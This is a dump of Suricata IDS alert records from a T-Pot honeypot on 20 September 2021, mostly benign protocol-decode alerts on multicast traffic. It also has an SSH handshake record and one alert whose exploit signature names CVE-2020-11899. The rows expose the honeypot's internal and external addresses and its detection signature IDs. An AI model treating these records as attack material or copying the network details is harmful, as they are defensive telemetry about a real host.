30096	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.135965+03	2021-09-20 14:45:02.562142+03	{"_id": "NQb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 41, "bytes_toclient": 0, "bytes_toserver": 3930}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.135965Z", "@timestamp": "2021-09-20T11:32:08.135Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30097	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.133656+03	2021-09-20 14:45:02.563142+03	{"_id": "Pwb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 39, "bytes_toclient": 0, "bytes_toserver": 3750}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.133656Z", "@timestamp": "2021-09-20T11:32:08.133Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30098	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.135469+03	2021-09-20 14:45:02.564144+03	{"_id": "QAb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.135469Z", "@timestamp": "2021-09-20T11:32:08.135Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30099	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.132549+03	2021-09-20 14:45:02.566142+03	{"_id": "OQb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 38, "bytes_toclient": 0, "bytes_toserver": 3660}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.132549Z", "@timestamp": "2021-09-20T11:32:08.132Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30100	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.133177+03	2021-09-20 14:45:02.567142+03	{"_id": "Ogb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.133177Z", "@timestamp": "2021-09-20T11:32:08.133Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30101	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:09.404065+03	2021-09-20 14:45:02.568142+03	{"_id": "Qgb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 45, "bytes_toclient": 0, "bytes_toserver": 4350}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:09.404065Z", "@timestamp": "2021-09-20T11:32:09.404Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30102	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:09.409691+03	2021-09-20 14:45:02.569142+03	{"_id": "Rgb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:09.409691+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 116157142614107, "payload": "dNAAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 62794, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T11:32:09.409691Z", "@timestamp": "2021-09-20T11:32:09.409Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "t............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
30103	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.910174+03	2021-09-20 14:45:02.570141+03	{"_id": "Rwb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 44, "bytes_toclient": 0, "bytes_toserver": 4260}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.910174Z", "@timestamp": "2021-09-20T11:32:08.910Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30104	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:08.934405+03	2021-09-20 14:45:02.571143+03	{"_id": "SQb6AnwBvYTbRNuESjoF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.934405Z", "@timestamp": "2021-09-20T11:32:08.934Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30105	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:10.087802+03	2021-09-20 14:45:02.572142+03	{"_id": "TAb6AnwBvYTbRNuETTrt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:10.087802Z", "@timestamp": "2021-09-20T11:32:10.087Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30106	104.94.242.31	109.199.241.180	Suricata	2021-09-20 14:32:17.679121+03	2021-09-20 14:45:02.573142+03	{"_id": "Vgb6AnwBvYTbRNuEaTpI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:17.581461+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "104.94.242.31", "asn": 6461, "as_org": "Zayo Bandwidth Inc", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "104.94.242.31", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1387995743772501, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 55212, "timestamp": "2021-09-20T11:32:17.679121Z", "@timestamp": "2021-09-20T11:32:17.679Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30155	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:32:20.865641+03	2021-09-20 14:45:02.634141+03	{"_id": "bQb6AnwBvYTbRNuEeDrq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 619638979588316, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38380, "dest_port": 22, "timestamp": "2021-09-20T11:32:20.865641Z", "@timestamp": "2021-09-20T11:32:20.865Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30107	104.94.242.31	109.199.241.180	Suricata	2021-09-20 14:32:17.581461+03	2021-09-20 14:45:02.574142+03	{"_id": "VQb6AnwBvYTbRNuEaTpI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:17.581461+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "104.94.242.31", "asn": 6461, "as_org": "Zayo Bandwidth Inc", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "104.94.242.31", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1387995743772501, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 55212, "timestamp": "2021-09-20T11:32:17.581461Z", "@timestamp": "2021-09-20T11:32:17.581Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30108	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.134334+03	2021-09-20 14:45:02.575141+03	{"_id": "Mwb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.134334Z", "@timestamp": "2021-09-20T11:32:08.134Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30109	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.421064+03	2021-09-20 14:45:02.576143+03	{"_id": "Nwb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 43, "bytes_toclient": 0, "bytes_toserver": 4170}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/8J8CBAAAAP8CAAAAAAAAAAAAAAAAAPsEAAAA/wIAAAAAAAAAAAAAAAAADAQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.421064Z", "@timestamp": "2021-09-20T11:32:08.421Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............................................................................"}}	1	\N	\N	alert	\N	\N
30110	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:09.406594+03	2021-09-20 14:45:02.577142+03	{"_id": "Qwb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:09.406594Z", "@timestamp": "2021-09-20T11:32:09.406Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30111	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:09.947429+03	2021-09-20 14:45:02.578141+03	{"_id": "Tgb6AnwBvYTbRNuETTrt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:09.947429Z", "@timestamp": "2021-09-20T11:32:09.947Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30112	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:10.41233+03	2021-09-20 14:45:02.580142+03	{"_id": "TQb6AnwBvYTbRNuETTrt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:10.412330Z", "@timestamp": "2021-09-20T11:32:10.412Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30113	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:10.926355+03	2021-09-20 14:45:02.581142+03	{"_id": "UQb6AnwBvYTbRNuEUTrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:10.926355Z", "@timestamp": "2021-09-20T11:32:10.926Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30114	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.43762+03	2021-09-20 14:45:02.582142+03	{"_id": "EAb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 27, "bytes_toclient": 0, "bytes_toserver": 2630}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.437620Z", "@timestamp": "2021-09-20T11:32:00.437Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30115	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.458532+03	2021-09-20 14:45:02.583142+03	{"_id": "Fwb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 30, "bytes_toclient": 0, "bytes_toserver": 2900}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.458532Z", "@timestamp": "2021-09-20T11:32:00.458Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30116	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.459318+03	2021-09-20 14:45:02.585142+03	{"_id": "EQb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 32, "bytes_toclient": 0, "bytes_toserver": 3080}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.459318Z", "@timestamp": "2021-09-20T11:32:00.459Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30117	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.462098+03	2021-09-20 14:45:02.586142+03	{"_id": "IAb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 33, "bytes_toclient": 0, "bytes_toserver": 3170}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.462098Z", "@timestamp": "2021-09-20T11:32:00.462Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30118	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.920867+03	2021-09-20 14:45:02.587142+03	{"_id": "Jwb6AnwBvYTbRNuEKjq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.920867Z", "@timestamp": "2021-09-20T11:32:00.920Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
